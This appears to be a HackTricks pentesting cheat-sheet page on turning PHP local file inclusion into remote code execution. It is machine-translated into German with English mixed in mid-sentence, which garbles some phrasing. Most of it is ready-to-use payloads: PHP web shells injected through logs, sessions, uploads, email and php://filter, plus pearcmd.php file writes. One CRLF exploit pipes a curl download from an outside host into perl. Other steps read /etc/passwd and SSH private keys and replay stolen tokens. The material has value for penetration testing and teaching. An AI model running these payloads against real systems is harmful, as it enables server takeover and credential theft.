  • Verwende grep, um nach GET-Anfragen zu suchen, die einen token-Parameter enthalten, erfasse dessen Wert und replaye ihn dann gegen den application entry point.

Beispielablauf (generisch):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Dekodiere den Body, falls er Base64 ist, und replay a captured token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Hinweise:

  • Tokens in URLs werden standardmäßig protokolliert; akzeptiere niemals bearer tokens via GET in Produktionssystemen.
  • Wenn die App mehrere token-Namen unterstützt, suche nach gängigen Keys wie AuthenticationToken, token, sid, access_token.
  • Rotate any tokens that may have leaked to logs.

Per E-Mail

Sende eine Mail an ein internes Konto (user@localhost), die dein PHP-Payload wie <?php echo system($_REQUEST["cmd"]); ?> enthält, und versuche, die Mail des Benutzers mit einem Pfad wie /var/mail/<USERNAME> oder /var/spool/mail/<USERNAME> einzubinden.

Über /proc/*/fd/*

  1. Upload a lot of shells (zum Beispiel: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, wobei $PID die PID des Prozesses ist (kann brute forced werden) und $FD der file descriptor ist (kann ebenfalls brute forced werden)

Über /proc/self/environ

Wie bei einer Logdatei: sende die Payload im User-Agent; sie wird in der Datei /proc/self/environ reflektiert.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Wenn du eine Datei uploaden kannst, inject einfach die shell payload darin (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Um die Datei lesbar zu halten, ist es am besten, in die Metadaten von Bildern/Dokumenten/PDFs zu injecten

Via ZIP-Datei-Upload

Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Über PHP sessions

Prüfe, ob die Website PHP Session (PHPSESSID) verwendet

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP werden diese Sessions in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Setze das cookie auf <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Verwende LFI, um die PHP session file einzubinden.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Über ssh

Wenn ssh aktiv ist, überprüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf <HOME>/.ssh/id_rsa zuzugreifen

Über vsftpd logs

Die Logs des FTP-Servers vsftpd befinden sich unter /var/log/vsftpd.log. Falls eine Local File Inclusion (LFI)-Schwachstelle vorliegt und Zugriff auf einen exponierten vsftpd-Server möglich ist, können folgende Schritte in Betracht gezogen werden:

  1. Injiziere eine PHP payload in das username-Feld während des Login-Vorgangs.
  2. Nach der Injektion nutze die LFI, um die Server-Logs aus /var/log/vsftpd.log auszulesen.

Über php base64 filter (using base64)

Wie in this article gezeigt, PHP base64 filter ignoriert einfach Non-base64. Du kannst das verwenden, um die Überprüfung der Dateiendung zu umgehen: wenn du base64 lieferst, das mit “.php” endet, würde es den “.” einfach ignorieren und “php” an das base64 anhängen. Hier ist ein Beispielpayload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (keine Datei nötig)

This writeup erklärt, dass du php filters verwenden kannst, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass du beliebigen php code für das include erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen.

LFI2RCE via PHP Filters

Via segmentation fault

Lade eine Datei hoch, die als temporary in /tmp gespeichert wird, und löse dann in derselben Anfrage einen segmentation fault aus — die temporary file won’t be deleted und du kannst danach suchen.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Wenn du eine Local File Inclusion gefunden hast und Nginx vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Wenn du eine Local File Inclusion gefunden hast, selbst wenn du keine Session hast und session.auto_start auf Off steht: Wenn du den PHP_SESSION_UPLOAD_PROGRESS in multipart POST-Daten mitsendest, wird PHP die Session für dich aktivieren. Das könntest du missbrauchen, um RCE zu bekommen:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Wenn du eine Local File Inclusion gefunden hast und der Server unter Windows läuft, könntest du RCE erhalten:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, das Script /usr/local/lib/phppearcmd.php existiert standardmäßig in php docker images. Außerdem ist es möglich, Argumente an das Script über die URL zu übergeben, da angegeben ist, dass ein URL-Parameter ohne = als Argument verwendet werden soll. Siehe auch watchTowr’s write-up und Orange Tsai’s “Confusion Attacks”.

Die folgende Anfrage erstellt eine Datei in /tmp/hello.php mit dem Inhalt <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Das Folgende nutzt eine CRLF vuln aus, um RCE zu erlangen (von here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Über phpinfo() (file_uploads = on)

Wenn du eine Local File Inclusion gefunden hast und eine Datei, die phpinfo() mit file_uploads = on offenlegt, kannst du RCE erlangen:

LFI2RCE via phpinfo()

Über compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Wenn du eine Local File Inclusion gefunden hast und du can exfiltrate the path of the temp file BUT der server prüft, ob die file to be included has PHP marks, kannst du versuchen, diese Überprüfung mit dieser Race Condition zu bypass that check:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Über eternal waiting + bruteforce

Wenn du das LFI ausnutzen kannst, um upload temporary files und den PHP-Ablauf den Server hang zu lassen, könntest du anschließend brute force filenames during hours verwenden, um die temporäre Datei zu finden:

LFI2RCE via Eternal waiting

To Fatal Error

Wenn du eine der Dateien /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar einbindest. (Du musst dieselbe Datei zweimal einbinden, um diesen Fehler auszulösen).

I don’t know how is this useful but it might be.
Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP temporary files gelöscht.

Preserve traversal sequences from the client

Einige HTTP-Clients normalisieren oder kollabieren ../ bevor die Anfrage den Server erreicht und brechen damit directory traversal payloads. Verwende curl --path-as-is, um die Traversal-Sequenzen unverändert zu lassen, wenn du Log-/Download-Endpunkte ausnutzt, die einen user-controlled filename anfügen, und füge --ignore-content-length für Pseudo-Dateien wie /proc hinzu:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Passe die Anzahl der ../-Segmente an, bis du das beabsichtigte Verzeichnis verlässt, und dump /etc/passwd, /proc/self/cwd/app.py oder andere Quell-/Konfigurationsdateien.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks